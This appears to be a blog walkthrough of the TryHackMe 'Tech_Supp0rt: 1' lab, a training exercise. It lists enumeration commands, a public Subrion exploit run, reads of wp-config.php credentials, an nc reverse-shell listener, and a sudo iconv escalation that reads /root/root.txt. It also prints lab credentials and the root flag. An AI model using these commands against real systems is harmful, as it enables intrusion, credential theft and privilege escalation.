220 words
1 minute
TryHackMe - Tech_Supp0rt: 1

1. Initial Enumeration#

Nmap Scan#

Terminal window
nmap -sV 10.10.24.118

Directory Enumeration#

Terminal window
gobuster dir -u http://10.10.24.118 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

2. SMB Enumeration#

List available SMB shares:

Terminal window
smbclient -L //10.10.24.118

Connect to the discovered share:

Terminal window
smbclient //10.10.24.118/websvr

Download files from the share:

Terminal window
mget enter.txt

When prompted, select:

yes

3. Web Application Enumeration#

Browse to:

http://10.10.24.118/subrion/panel/

A login portal is presented.

Use CyberChef to analyze the discovered credentials and obtain:

Username: admin
Password: Scam2021

Login to the Subrion administration panel.


4. Exploit Discovery#

Search for available exploits:

Terminal window
searchsploit Subrion 4.2.1

Copy the exploit locally:

Terminal window
searchsploit -m php/webapps/49876.py

Execute the exploit:

Terminal window
python 49876.py -u http://10.66.147.216/subrion/panel/ -l admin -p Scam2021

5. Credential Discovery#

Inspect the WordPress configuration file:

Terminal window
cat /var/www/html/wordpress/wp-config.php

Discovered database credentials:

define('DB_USER', 'support');
define('DB_PASSWORD', 'ImAScammerLOL!123!');

6. Reverse Shell Access#

Uplpad phar revshell plugins in panal and nc run#

Start a listener:

Terminal window
rlwrap nc -lvnp 1337

After receiving a shell, upgrade it:

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'
Terminal window
export TERM=xterm

7. User Access#

Navigate to the home directory:

Terminal window
cd /home

Switch to the user account:

Terminal window
su scamsite

Password:

ImAScammerLOL!123!

Successful authentication grants access as:

scamsite

8. Privilege Escalation Enumeration#

Check sudo permissions:

Terminal window
sudo -l

Output:

User scamsite may run the following commands on TechSupport:
(ALL) NOPASSWD: /usr/bin/iconv

9. Root Flag Access#

Set the target file:

Terminal window
LFILE=/root/root.txt

Read the file using the permitted binary:

Terminal window
sudo /usr/bin/iconv -f 8859_1 -t 8859_1 "$LFILE"

The contents of the root flag are displayed.


Root Flag#

851b8233a8c09400ec30651bd1529bf1ed02790b

Summary#

  1. Performed service enumeration using Nmap.
  2. Enumerated SMB shares and downloaded exposed files.
  3. Discovered Subrion CMS administration portal.
  4. Recovered administrative credentials.
  5. Identified and executed a public Subrion exploit.
  6. Obtained remote code execution and a reverse shell.
  7. Extracted WordPress database credentials.
  8. Accessed the scamsite user account.
  9. Enumerated sudo permissions.
  10. Leveraged the allowed iconv binary to access the root flag.
TryHackMe - Tech_Supp0rt: 1
https://0xshadowman.github.io/notes/posts/thm_tech_supp0rt1/
Author
MD Shohanur Rahman
Published at
2026-08-15
License
CC BY-NC-SA 4.0